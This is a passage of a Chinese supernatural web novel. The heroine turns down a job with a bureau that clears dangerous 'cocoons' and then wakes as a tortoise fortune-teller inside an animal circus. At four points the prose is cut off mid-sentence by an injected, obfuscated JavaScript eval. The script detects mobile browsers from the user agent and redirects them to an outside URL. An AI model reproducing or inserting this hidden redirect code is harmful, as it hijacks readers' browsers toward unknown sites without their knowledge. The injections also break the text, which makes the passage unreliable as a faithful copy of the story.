赵某云表示同意后,李某假借此机会报警,不幸被赵某云发现,赵某云恼怒之下将李某杀害。随后赵某云将李某家里财务掠劫一空后,驱车逃往南省。4月15日,李某的邻居因恶臭要求物业细查来源,李某的尸体才被发现。翌日,赵某云于南省某县城落网。 本报在此劝告广大市民朋友不要轻易给陌生人开门。] 时望看完这则沉重的报道后,抬眼看向江宜。 江宜的食指做出翻页的手势,示意时望后面还有内容。 时望翻页,后面的内容就是关于这个案件的细节补充,详细到李娟在哪上的小学都有记录。 一看就知道不是普通人或者普通势力能获取到的。 被画重点标记的是李娟和小云的通信内容。 和时望之前的猜测基本一致,小云在通信中,一直有意无意地暗示自己的性别为女。 比如偶尔会在信件中提及“最近看到一条漂亮的碎花裙子”、“很是苦恼打结的长发”等细节。 在某次信件中小云得知李娟近期领养了一只猫,便主动告知李娟,他有闲置的猫爬架,可以送给李娟。 他还特意提醒李娟这个猫爬架很重,她一个人可能不好从驿站搬回家,要求李娟给一个详细到门牌号的住址。 李娟在写下这个引来杀身之祸的住址前,还表达了对小云的感激。 时望再翻开下一页,这个页面只有一张小云的照片。 三角眼,蒜头鼻,一个长着毛的肉痣。 时望合上文件夹,轻捏眉心,缓缓吐出一口气。 江宜见状给时望倒了一杯茶,然后翻开第二个文件夹递给时望。 这份文件是江宜的同事在茧内的详细记录,时望比较意外的是文件有两份关于李娟的茧的记录。 江宜解释道:“我们的最终目标是希望茧能崩塌,这样才能从根源上防止普通人误入茧内。而不是仅仅去茧里获取规则后再张贴。” “所以类似于李娟这种执念形成的茧,我们一般都会进入第两次。” “第一次获取规则、茧主的信息以及逃离的思路,出来后调查茧主相关背景信息。第二次进入会以解开茧主的执念为主要目标。” 时望暗暗吐槽这个令人咋舌的工作量,怪不得整个办公室都空荡荡的。 文件上第一次记录就和江宜之前说的一样,情报局的人跟着小云出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715083|144738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往人多的地方走,就从茧里出来了。 看到第二份记录时,时望的眉间皱了起来。 “江小姐,方便透露贵司负责进入茧的员工伤亡率吗?”第二份记录的内容实在是超乎时望的意料了。 江宜明白这个残酷的问题不可能瞒着时望,嘴里泛起苦涩:“局里不成文的规定是不统计死亡率。我只能跟你说这个数字很高。” “为什么不统计死亡率?”时望眉头皱得更紧了。 这是什么逃避现实的做法。 江宜大概知道时望在想什么,她小幅度地摇了摇头:“不是你想的这样的。” “我们的局长说过鲜活的生命不可以用数字来表示。因为无论数字高低,结果落到每个人的头上都只有0和1的区别。” 时望没想到是这样的回答,抿起嘴角不再发问。 第二份记录是上次进入李娟的茧的人再次进入茧内,但这次她改变了做法。 大部分内容都和上一份记录一致,只是小云到来时,她没和上次一样跟随小云离开。 而是用刀将小云反杀,过程很艰难,但最终还是成功了。 可是她并没有等来茧崩塌或者离开茧,而是等来了因浓雾消散而前来的众多敲门者。 在天黑之前,这位情报局员工抓住一个没有敲门者的间隙,用一个分身外出。但是就在她的分身刚走出门口,就遇到直奔她家而来的宠物,分身倒在了宠物的爪下。 直到这时,茧主就像刚发现进入者帮她杀了小云,大发慈悲地将这位重伤的员工送出茧外。 没人知道这个员工在杀害小云之后到天黑之前这段时间有多绝望。 时望合上文件,抬头直视江宜:“这位员工最后怎么样了?” 江宜低头看向茶杯,轻声道:“她出来后脏腑均有严重内伤,昏迷了一个月,目前还在修养身体。” 时望不做回答。 时望并不意外这位员工反杀小云后,茧主也就是李娟,不让她马上离开茧。 因为这些有异能有经验的人代替李娟报仇,只是纯靠实力战斗力等碾压小云。 李娟生前没有这样的战力,借其他强大的人的手挥刀向小云根本不可能解开执念。 这样做反而会让此时已成为非人存在、几乎没有人性的李娟愤怒:凭什么她当初没有这个能力。 第一次记录里的做法反而更符合李娟的自我拯救。 李娟死前也许有过这种想法:“要是我刚刚能逃到外面人很多的地方就好了。” 所以跟着小云外出跑到人多的地方,虽然没让李娟完成“让小云也体验她的绝望”的复仇,但反而不会激怒李娟。 江宜很明显也想明白了其中的关窍,但是现在说什么都有点晚了,她小口小口地抿着茶。 时望明白情报局的做法是实属无奈,也不想为难改变不了现状的江宜,所以转移了话题。 “我还有一个疑问,规则指南上的‘F-E105N40’是什么意思呢?”时望指着这串代号问道。 江宜努力振作语气回答道:“F是这个茧的综合评级,评级标准很复杂,回头我给你一本相关的说明书。E104N40是茧的位置,以我们同和街道办事处二楼为坐标原点。” “你会进入这个茧的原因,大概是你家在现实的坐标刚好和这个茧重合。” 时望能说什么,自己是纯倒霉蛋罢了。 “最后一个问题,李娟的茧是执念茧,那恶意茧大概是什么样的?”时望想起江宜刚提过的恶意也会形成茧。 江宜摇了摇头:“恶意茧形成的条件与原因我们还不清楚,只知道恶意茧的生存条件会更恶劣,更不符合逻辑。” “李娟的茧很多规则都可以对应到现实,但在恶意茧里,你经常不是人。” 江宜发现上句话有歧义,赶紧找补:“嗯……或者说你的角色不是人。” 时望想起外卖员狗头人和那些满地乱爬的宠物,使劲摇了两下头,把脑海里那些炸裂的画面赶出去。 “谢谢江小姐的解答,我没有其它问题了。”说着,时望喝完茶杯里最后一口茶。 江宜闻言稍稍挺直腰,试探地问时望:“时小姐,你这么聪明一定早就知道我们是想招揽你的,请问你愿意加入我们吗?” 时望向前探头,用音量明显降低的声音问道:“你们这里的待遇怎么样啊?” 江宜听到时望的回答,感觉有希望,快速说道:“六险二金顶格交,包吃包住,基础工资6位数,每进入一次茧都有不菲的提成,在职期间报销非房车奢侈品的所有日常消费。” 江宜顿了顿,语气明显蔫了点:“如果牺牲了,将会给家属提供基础工资*100的赔偿。” 这种卖命的行当这个收入也正常。 “时小姐,你对我们情报局还有什么想了解的吗?你想加入我们吗?”江宜期待地看着时望。 时望看着江宜真诚的眼神,轻微地摇了摇头。 9. 引路人与光团 正当江宜疑惑时望的摇头是在回答哪个问题时,时望说道:“我没什么问题想问了,也很感谢贵司的邀请,但抱歉我就不加入了。” 江宜急切地问道:“是因为有伤亡的可能吗?还是待遇问题?” 时望再次摇头:“我理解贵司实属无奈的做法,作为被保护的人我没资格指责你们。即使是进入茧之前,我应该也被你们保护过。” “但我只想当一个普通人,过平凡普通的日子。” “非常抱歉。” 时望犹豫了一下,才说:“刚刚问待遇只是实在有点好奇,多少收入才会有人做这么危险的工作。” 江宜听到时望的回答,愣了一下,即使难掩失落,她还是努力提起嘴角:“虽然我本人和情报局局真的很希望你可以加入,但我们尊重你的意愿。” “非常感谢时小姐提供的信息。”江宜朝时望颔首表示感谢。 时望有点不会应对这种场面,正想起身辞别时便听到会议室外的办公室传来悉悉簌簌的声音。 她被声音吸引,回头从会议室内透过玻璃门往外看,有三个人带着不同程度的伤势经过办公室。 为首的短发女子约莫30岁,面色苍白,穿着利落的运动装,脸上带着两道血痕,她经过会议室时还在外面与时望对上眼神。 她的眼睛黑沉沉的,看不出任何情绪。 一个绑着双马尾,穿着粉色JK群,背着兔子书包的年轻小姑娘看着只有20出头,正挽着短发女子的手,嘴一动一动地一直在说话。 她的兔子书包已被鲜血染透,小姑娘半个小腿都在流血。 她俩后面跟着一个同样20出头的男生,他的伤势最为严重,半个头都被缠了绷带。 除了短发女子外,另外二人的伤势基本称得上严重。 三人仅仅是路过这里,往办公室深处走去,很快时望就见不到他们的身影了。 江宜见时望在看他们,主动向时望介绍道:“他们是我们局行动组的人,刚从茧里回来,应该是去头儿那里汇报了。” 然后江宜挨个点名:“短发的那个女人是行动组组长,叫秦温阳。那个穿粉色裙子的小姑娘叫宋况,刚加入不久。男生叫齐……” 江宜还没说完就看到时望无声地注视着她,然后反应过来,苦笑道:“也是,你不会加入这里我说这么多干嘛。” 时望感觉自己的脊梁快要被负罪感给压弯了。 江宜看到时望无措的样子,提起嘴角笑着道:“没关系的,我都习惯了。只是时小姐太优秀了,我比往常更遗憾而已。” 时望的脊梁彻底被压弯了,眼睛都不知道往哪里放。 江宜噗呲地笑出声:“好啦,不逗你了。时间不早了,没别的问题的话我送你出去吧。” 时望点头,拿出刚拿到的契约纸递给江宜。 江宜愣了一下,笑着道:“这个就是你的啦,不用还我。虽然我希望你再也不会进入茧原,但还是建议你随身带着它。” “毕竟进入过茧原的人有很大概率会再次进入这里。” 时望不做应答,但还是道谢收好了契约纸。 然后她起身跟着江宜离开办公室,经过某个办公桌时,江宜还顺手拿起一个茧评级相关的小册子给到时望。 出口的位置与入口相反,出口处有楼梯向下走。 本来时望就有点疑惑为什么叫同和街道办事处二楼,原来答案在这。 走向楼梯的路上经过一扇打开的窗户,路过时时望被窗外的景象吸引。 窗外是一片荒凉的黄土平原,没有任何植物、动物,无风无声。寂静到让人害怕,把人扔这里一周,足以让人变疯了。 黄土地上只有数不清的茧,高低大小略有不同,但大体就跟时望那天隐约看见的茧一样,巨大且被丝线层层缠绕。 怪不得情报局人手不够,茧数量又多,又危险,怎么可能会够人。 茧分布得并不均匀,某处稀疏某处密集,极尽视野也看不到头,茧原这个名字真的很形象。 时望深深地叹了口气,真是让人窒息。 江宜看到时望停住了脚步,便回头往时望这里走,在她旁边驻足。 “很荒凉吧?”江宜双手搭在窗台上,看着茧原。 时望点头嗯了一声,然后轻声问道:“江小姐,你当初为什么会加入情报局?” “嗯……我也说不清楚,我和你一样也是过得好好的,忽然某一天就进入茧内了。”江宜回忆道:“不过我比你好,当初是温阳姐进入茧里,带我出来的。” 时望回想起短发女子苍白的脸色。 “后来我就觉醒了异能,是一个还算有用的异能吧,就留下来了。” 江宜故作轻松道:“当然啦,我因为异能适合信息收集,很少会出外勤。比行动组的人轻松多了。” 时望扭头看了一眼江宜,小声地说:“谢谢。” 没说谢谢谁,但江宜还是微不可闻地“嗯”了一声。 就在此时,茧原不远处出现一个提着一团光的“人”领着五六个人路过。 提着光团的人全身披着白布,只有眼睛的位置有两个黑洞,时望实在不愿意承认这个东西是自己的同类。 跟随着提光“人”的五六个人神情麻木,全都直勾勾地盯着光团,一步一步地跟着光团走。 江宜忽然抬手挡住时望的眼睛,解释道:“你不要看那个光团,就算是活人,灵魂也会被它吸引。魂被引路人勾走就不好了。” 时望闻言,自觉闭上眼,并问道:“引路人?” “你听过一些民间传说吗?”江宜自己却不挡眼睛,看着引路人远去。 “传说人濒死时,会看到引路人提着光团出现。光团会带领灵魂走出茧原,到达灵魂安息之地。” “那些不跟着光团的灵魂,就会迷失在生与死之间。要不就和李娟一样,执念深到自成一个茧,要不就是被别的茧给吞噬掉。” 时望对民间传说向来是听一乐的态度,忍不住好奇地问江宜这个业内人士:“传说是真的吗?” 江宜拉一下时望的袖子,示意她可以睁开眼了。 “谁知道呢?”江宜耸耸肩。 时望想了想说道:“理论上来说让逝者都跟着引路人走,就不会再形成执念茧了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715084|144738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江宜不置可否,看着茧原的远方说:“我们局里为数不多的明文规定第三条就是‘勿扰逝者因果’。” “所以即使大家都不跟引路人走,造出一大堆茧,我们也只能见茧拆茧。” 时望挑眉,不继续深入问下去了,人家局里的事和她这个外人无关。 看够这无聊的风景后,时望继续往出口走去。 跟着江宜下了一层楼梯到达一扇铁门前,江宜不再继续往前,她站定看向时望。 “时小姐,再次感谢你提供的宝贵信息。”江宜朝她鞠了一躬。 时望赶紧去扶她,这一躬她受不起。 江宜起身后,看着门跟时望说:“我就送你到这啦,从这里出去就是一楼,直接走出去就行了。” 时望点头表示明白。 时望正要抬脚往门外走去,又听到江宜的声音:“时小姐,我真的很希望你再也不要进到茧原。但如果你再进入到茧里,出来后请到这里来,我们真的很需要你的信息。” “那就,再也不见啦。”江宜笑着道。 “嗯,再也不见。”时望看了江宜一眼,然后打开铁门,铁门外就是同和街道办事处大门。 时望走出铁门后,再回头铁门就不见了。 她回到现实了。 现实里阳光正好。 刺眼的阳光让时望眼睛眯了起来,时望打开打车软件定位时,听到了那个保安大爷的声音。 “小姑娘你和江丫头聊得怎么样啦?”大爷还是笑眯眯的样子。 时望闻声而去,才发现这个大爷还在这。 她朝大爷弯了一下嘴角:“聊得挺好的,但是很遗憾,我就不加入情报局了。” 大爷笑容淡去,但还是很和蔼地说:“虽然老头子我是觉得怪可惜的,但没得事的,小姑娘。” “过好自己的小日子最重要嘞。” 时望认真地看着大爷脸上深深浅浅的皱纹,重重地点头。 “谢谢大爷。”然后时望想起什么,朝大爷问道:“大爷,你为什么在大太阳底下打太极?” “找个阴凉的地儿不好吗?” 大爷笑弯了眼睛:“老头子我早就不怕晒咯。” 然后大爷认真地看着时望的眼睛,语气严肃了不少。 “小姑娘,如果不打算掺和进茧原的话,赶紧走吧。别和老头子我说话了。” 时望疑惑地看向大爷,大爷继续道:“小姑娘,一般人是看不见我的,只有进过茧原的人能看见我。” “快走吧,少沾点茧原的气息。” 时望眼睛微微睁大,一切都合理了起来。 怪不得跟大爷问路的时候,他马上就知道时望有规则纸、是谁、要干嘛。 大爷见时望明白了他的存在,就又开始赶时望走了:“小姑娘,快走快走。” 时望轻轻点头:“嗯,好。” “大爷,再……再也不见。” 大爷乐呵呵地挥手道:“小姑娘,咱俩就别再见咯,走吧走吧。” 时望头也不回地离开了同和街道办事处,回到她一成不变但平淡幸福的生活里。 10. 开心人戏团(1) 周末 时望睡到自然醒后,起床洗漱时,她看到镜子里脸色苍白的自己。 昨晚她梦到了茧原,梦里的自己在茧原上自由穿梭,成日不干正事,不是去逗亡魂就是在茧里进进出出。 真是日有所思夜有所梦。 时望轻拍自己的脸颊,让脸色稍微红润一点。 将自己拾掇好之后,时望准备出门。 去拿放在鞋柜上的钥匙时,她看到了放在钥匙旁边的契约纸。 手在半空停顿一瞬后,时望还是将契约纸放进了口袋,然后出门与陈卓清汇合。 她俩约好了今天一起去看博物馆的特展。 对公司和领导的吐槽是一个很难有尽头的话题,一路上陈卓清和时望指指点点的对象基本就锁定在秃头领导。 “崽我跟你说。”陈卓清对时望的昵称特别多,都是望望、小望、时宝、望崽的混着叫。 “这个老秃驴昨晚下班才跟我说把实验报告整理出来,要我周一汇报,他咋不上天啊他。”陈卓清挽着时望,愤愤不平到迈出地铁扶梯的脚步都尤其重,一副想把秃头领导狠狠踩在脚下的样子。 时望看着她生动的表情,轻笑道:“昨天他假发被吹掉的时候,你笑得太大声了点,卓清。” 陈卓清:…… “小气鬼。”陈卓清嘟囔道。 走出地铁站时,陈卓清看到贴在街边宣传栏上的海报,略显惊讶地跟时望说:“哇时宝,海盗马戏团居然到这里巡演了!” 时望从未关注过马戏团,闻言好奇地顺着陈卓清地目光看去,只见宣传栏上有一张黑底红字的大幅海报。 海报上有一只穿着西装站立的狐狸,它双手叉腰,一只脚踩在一个人的背上,好不神气。 而被踩着的人□□,双膝跪地,两个手撑着地面,他的眼睛明亮,嘴角开裂到耳根处,咧出一个极其诡异的笑容。 他的身体密布血痕,血流向下在海报上形成了两行字。 “开心人戏团 欢迎您” 时望:…… 那个被踩着的人是怎么笑得出来的? 还有宣传栏上放这种不知道能止多少个小儿夜啼的东西都没人管管的吗? 时望回头,发现陈卓清还在身旁,瞬间就把才冒出头的可怕猜测给压下去。 人总不能两次误入同一个茧原吧。 陈卓清见时望脸色不对,关心地问道:“时宝你是身体不舒服吗?” “没事。”时望轻轻摇头,主动拉住陈卓清的手,再次看向宣传栏。 这回宣传栏上的海报就是很正常的马戏团巡演宣发,上面有狮子老虎鸟熊,还有魔术师从帽子里揪出兔子,大变活人,水里逃生之类的经典马戏团节目。 时望感受到手上传来属于陈卓清手心的温暖,轻轻地吐出一口气。 “崽啊,地图上说前面有个公厕,我想先去个洗手间。”陈卓清正在看着手机上的地图,没注意到时望的异样。 时望没什么理由不答应:“嗯,好。” 陈卓清进入洗手间后,时望就在公厕对面的长椅上坐下,百无聊赖地看着公厕门口进进出出的人发呆。 长椅旁刚好有一棵老树,枝繁叶茂,给时望投下一片阴凉。 微风吹过,拂乱时望额上的发丝。 眼皮好重。 好困。 时望眼前的画面如水墨洇开,耳边繁杂的声音也越来越远。 即使她知道这里不是能够睡觉的地方,但还是无法控制如有千斤重的眼皮落下。 --- “乌龟小姐?乌龟小姐?快醒醒,小心被团长抓到你工作时间睡大觉!”一个喑哑的声音唤醒了时望。 乌龟小姐是谁? 时望努力地与困意作斗争,终于艰难地抬起了眼皮。 眼前是一只乌鸦正在试图叫醒时望。 起猛了,她居然能听懂乌鸦说话。 再睡会儿。 乌鸦开始吱哇乱叫:“乌龟小姐!我看见你睁眼了!你还装睡!” “好心没好报,你爱睡就睡吧!”乌鸦气呼呼地飞走了。 时望听到乌鸦振翅飞走的声音,终于意识到这不是起没起猛的问题。 她试探着睁开眼,眼前是桌子的桌腿,桌子上被铺了一层垂到地面的黑布,时望看不到桌子外的景象。 这个视角是不是有点低了。 时望感觉到自己是趴在地面上,就准备先站起身。 但是她站起来后桌子还是把她的视野挡得严严实实。 时望感觉此时的自己正四肢着地,出于上一个茧的经历,她对这种姿势是极其抗拒。 这时时望想起刚刚乌鸦对她的称呼——“乌龟小姐”。 深吸一口气,感受到鼻腔里不同寻常的潮湿,时望认命了。 即使做好了心理准备,当她抬起自己的前脚,看到深绿色皱巴巴湿润的皮肤时,她还是忍不住叹了一口气。 龟龟,她成龟龟了。 虽说没见过能站起来的乌龟,但时望希望自己是那个例外。 毕竟人类进化付出这么大的代价才换来直立行走,时望不愿意放弃祖先的馈赠。 她伸长脖子往后仰,两个前腿扒住桌腿一点一点地往上爬。 时望的头逐渐露出桌面,可算是站起来了。而黑布之外的世界令时望微微睁大了她的豆豆眼。 好多动物,各种各样的动物。 天上飞的、地上跑的、到处乱爬的、直立行走的、四肢着地的都有。 半人高的公鸡翅膀搭在母鸡身上,身后带着一串小鸡。 长臂的树獭趴在地上爬两下就睡一觉,刚刚还有一只赶路的灰狼从它身上跨过去。 大白熊拿着一罐蜂蜜边走边吃,遇到黑熊这个近亲还不忘分享。 时望只觉得自己开眼了。 她伸长脖子往下看自己的身躯。站起来后,她大抵也有人形时那么高,腹部覆盖浅黄色带黑斑的硬壳,被划分成六个格子。 时望从未想过这辈子她还能拥有这么坚硬的腹肌。 再继续往下看,就是两根粗壮的后腿,目测人形时的她两个手掌都环不住一个腿,腿的末端有几个细小的分叉充当脚趾。一条纤细的尾巴还从两腿间钻到前面来。 时望彻底认清自己是一个什么样的存在后,就开始环顾四周寻找信息。 重点寻找契约纸。 她的位置应该是在帐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722559|144738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 篷里,身前只有一张桌子位于帐篷的出口处,身后的空间可谓是家徒四壁,一眼就能确定并没有规则纸,空得让人心寒。 脚下似乎踩到了什么。 时望粗笨地抬起后腿,看到脚下是一个工牌大小的卡纸。 是契约纸。 时望下意识就想弯腰去捡,弯腰失败,失去平衡又趴到地上时,她才想起她已经是一个没有腰的龟龟了。 算了,怎么着也算是碰到契约纸了。 时望伸出前爪去抓起契约纸,契约纸上的内容没有任何变化,右边的横线还是空空如也。 她毫不犹豫地用右前腿的前爪在右边出卖灵魂的横线上拓下自己名字的印痕。 比起害怕死后出卖灵魂,时望还是希望先尽力活下去。 刚刚她短暂地看了一眼帐篷外的景象,深知外面的开放空间有多宽阔。 如果寄希望于在外面找到情报局可能会留下的规则纸,那时望可能在规则上死亡蹦迪好几回,都找不到这未必存在的规则纸。 印下名字后,契约纸右边的空间并没有如果时望想象的那样开始陈列规则。 一点反应都没有。 时望沿着印痕加深自己的名字。 还是一点反应都没有。 正当时望怀疑这玩意儿失灵时,契约纸上终于浮现出一行字。 但不是规则指南。 “茧主拒绝与你签订契约。” 时望:? 凭什么? 江宜可没说过茧主会看人下菜碟的。 像是听到时望的疑问般,契约纸上浮现出一行新的字:“茧主说这不公平。” 行呗就她的灵魂不配呗,时望一脸冷漠地看着规则纸。 但是契约纸上出现的第三行字稍稍平息了时望的怒火。 “请问你同意用情绪能量与茧主交换规则吗?同意的话,请再次签名。” 时望自然同意,无论怎么说,这个不知道有什么用的情绪能量都会比灵魂的价值要低得多。 她第三次用指甲划下自己的名字。 契约纸上终于出现“契约达成”的字样,随后规则一条条浮现。 [开心人戏团规则指南 1.你是开心人戏团里小有名气的占卜师。 2.你是一个背叛者,请不要暴露你的身份。 3.你即将参与一次背叛者特别行动,请及时与你的同伴联系。] 契约纸的右半部分出现三条规则后停顿了一下,然后就有一行字出现在三条规则之下。 “检测到情绪能量不足,请收集能量后再交换规则。” 时望:…… 此时,契约纸左侧的情绪能量值已从3变为0,也就是1点情绪能量可更换一条规则。 这个茧主有点功利,多一条规则都不肯给,时望暗暗吐槽道。 时望唯一可以安慰自己的是,比起刚刚完全无知的状态,有三条规则也不错了。 然而还没等时望仔细琢磨仅有的三条规则,就听到身前的桌子被敲响,一个粗犷的声音嗷嗷嗷地传来。 时望听懂了那个嗷嗷嗷的意思。 敲桌者在问:“请问乌龟小姐在吗?我是来占卜的。” 11. 开心人戏团(2) 时望也是刚刚才知道自己会占卜,现在就有客人找上门,即使她再怎么自信也不敢保证不露端倪。 她眨巴了一下豆豆眼,选择继续趴在地上一动不动当王八,祈祷一下自己能被桌子挡得严严实实的。 敲桌者没继续敲桌,而是走到桌子的另一端,发现了地上摊成一张龟饼的时望。 “呃……乌龟小姐?你还好吗?”来者疑惑地问道。 时望即使没看到来者的脸,也知道它现在肯定一脸无语。 既然都被看到了,那也不好继续躲了。时望无奈地应道:“我在的。” 然后她才发现自己讲的不是人话。 而是类似于平日里,人类听到的猫猫狗狗的动物叫声,作为不同物种的人类自然是听不懂它们在说什么的。但是时望现在听得懂目前已有交集的动物的叫声。 乌鸦和现在还不知道是什么物种的动物。 没时间纠结太多,时望应声之后便站起身来,看到了桌子前的大河马和小河马。按照河马的生活习性,时望猜测大河马和小河马应该是母子关系。 “您好,请问有什么可以帮到您?”时望努力地适应自己声音的同时,还不忘自己是一个服务业从业者。 大河马满脸忧愁地说:“乌龟小姐,我家小孩儿从小就很害怕水,只愿意呆在我的背上从不下水。”它指着旁边的小河马,继续道:“所以我想占卜一下,它什么时候能够下水啊?” 时望一边惊讶于这世上还有怕水的河马,一边在想这是什么需要占卜的事情吗。但她绷着个脸,看起来很高深莫测。 大河马看到时望面无表情的样子,以为这件事很棘手,赶紧说道:“乌龟小姐,只要你帮我占卜,我就把喜爱票投给你!” 喜爱票,时望默念这三个字,又想起那张未完待续的契约纸,轻叹了一口气。大河马见状更着急了。 时望看到旁边畏缩在妈妈身旁的小河马,终于回应了这位焦急的妈妈。 “好,您稍等。” 大河马赶紧道谢:“谢谢乌龟小姐!” 时望这时候想起来自己还没见过自己的占卜道具,还不知道这里的占卜是塔罗牌、水晶球还是单纯的掐指一算。 桌面上和室内都是空空如也,时望在大河马期待的眼神中,不熟练地趴到了地上,用前腿掀开挡住视野的黑布。 黑布被撩起来后,时望才发现原来桌子底下还有两个抽屉。她打开最下层的抽屉,发现里面只有一张纸条。 时望简单扫了一眼,大概是感谢信的内容,跟占卜无关,就先把纸条放回抽屉里。随后她打开了上层的抽屉,内里是一个人的头骨,和一大一小的两块小骨头。 这种充满神神叨叨气息的东西一定就是原占卜师吃饭的家伙事儿,时望想。 她小声地对头骨说:“抱歉,得罪。” 然后捧着骷髅头和两块小骨头,神情严肃地将它们放到桌面上陈列,肃穆的气氛甚至影响到了大河马。 大河马目不转睛地看着时望的动作,不敢发出任何的声响,担心打扰到时望。 时望根本不知道接下来该干什么。她仔细端详着两块骨头,想起以前在街头看到的一种问卜方式,名叫“掷筊”。 整个仪式过程需要上香,跪拜神明,向神明请示,最后扔下一面平一面凸的两个小物件,通过物件的平凸组合方式来解读神明指示。 时望觉得人家有两个小物件,她也有两块小骨头,想必都是一脉同源的占卜方式,所以她决定她也要抛小骨头。 准备抛骨头时,时望还不忘做戏做全套,她清了清嗓子,捏出沉重的嗓音,对大河马说道:“您可以向神明请示了,记得要虔诚。” 大河马闻言,略显慌张,忙说道:“好的好的!” 然后,大河马将头放低到地面,它的鼻子甚至已经深入到泥土里了。许是大河马觉得只有自己虔诚是不够,它还抬起前腿将旁边的小河马的头也摁了下去,完全不顾小河马的挣扎。 紧接着时望听到了大河马低声喃喃的声音。 “伟大仁慈的神啊,愿您能倾听信徒的祈求,如若您能告知我的孩子何时能够下水,我将作为您最忠诚的信徒追随您直至灵魂的尽头。” 虔诚地祷告完毕后,大河马和小河马都抬起了头。小河马的眼睛湿漉漉的,大概是还在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13726567|144738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为刚刚妈妈强行按它的头而伤心。 神,信徒,灵魂。 真是一些不得了的东西,时望想。 时望实在不明白,孩子什么时候不再怕水这件事真的重要到需要用灵魂画押吗。 但她感受到大河马的焦急和虔诚,只好有模有样地将骷髅头空腔朝上放置,然后将两块小骨头抛掷到空腔内。 两块骨头散落在头骨内,时望看不出正反,看不出好坏,看不出到底啥意思。 大河马紧张地看着时望,期待她说出它期待中的话。 时望什么都不懂,但一点都不耽误她自信开口:“这个结果嘛。” 大河马紧盯着时望,完全不敢打断她。 “不好说。说好也好,说坏也坏。您的孩子可能很快就能下水,也可能多年后才能解开心结。至于什么时候能不在怕水,这个就是事在河马为了。” 时望面不改色地输出废话。大河马听得云里雾里的,小心翼翼地问道:“乌龟小姐,什么叫事在河马为啊?” 时望躲开了大河马的视线,注视着头骨里的两块小骨头,说:“就是如果小河马今天不怕水了,那它今天就能下水。如果它一直很害怕,那就很久以后才能下水。” 又是一次酣畅淋漓的废话输出。 大河马虽然还是不明白它孩子什么时候能够下水,但是看到时望讳莫如深的样子,也不敢再追问。 “你作为家长,能做的就是多鼓励孩子,让相信你,相信水。”时望想了想,还是给大河马做一下心理按摩。 “家长鼓励到位了,示范到位了,孩子很快就会不怕水的!我相信在您的鼓励下,小河马很快就能够下水!” 大河马感动地点头,不停地朝时望道谢。 “乌龟小姐,你真好,我一定会把今天的喜爱票投给你的!” 随后大河马便拉着小河马走了。 时望可算是混过了这一茬,正打算好好看一下规则与抽屉里的感谢信时,就听到不远处传来一阵喧哗声。 她从帐篷里探出头,看到不远处便是大门,有只八哥正在大门旁一边扑腾一边大叫:“啊啊啊啊啊有蛇啊!” 12. 开心人戏团(3) 大门外有一条体型庞大的蟒蛇,通体漆黑,直径十几厘米的身躯在地上缠绕了好几圈,它正看着在半空中扑腾的八哥,时不时吐一下信子。 八哥显然是害怕极了,大喊大叫的同时,翅膀毫无章法地挥动,飞又飞不高,更不敢落地,漆黑的羽毛掉了一地。 这只聒噪的鸟甚至害怕到失禁,在空中洒下一泼白色的固液混合物,精准地落到蟒蛇头上。 时望此时还有心思吐槽道,现实里的鸟看到黑色的车就拉白色的,这里的鸟也往纯黑的蟒蛇身上拉白得明显的。 虽然时望的帐篷和大门有一定的距离,她听不清蟒蛇说什么,但她觉得蟒蛇不信佛的话,多少都应该起杀心了。 正当时望好奇眼前这场面要怎么收场时,一道浑厚的吼声让眼前的场面瞬间安静下来。 是虎啸。 一只壮实的老虎从时望的帐篷经过,往门口走去,虎身未到声先到。 有动物游客似乎认出了老虎,熟稔地和老虎打招呼:“副团,你来啦?” 时望挑眉,老虎是副团长的话,团长会是什么动物? 被称为副团的老虎轻轻点头,随后便朝着空中还在发癫的八哥吼叫道:“你给我滚下来!” 隔着一段距离的时望都能感受到老虎发威,更别提那只本就格外胆小的八哥。 八哥的翅膀挥动频率明显降低了,直至低到翅膀完全不动,任由整个身体直愣愣地掉到地上。 这是给吓晕了。 噗呲。 时望被这个八哥逗乐了。 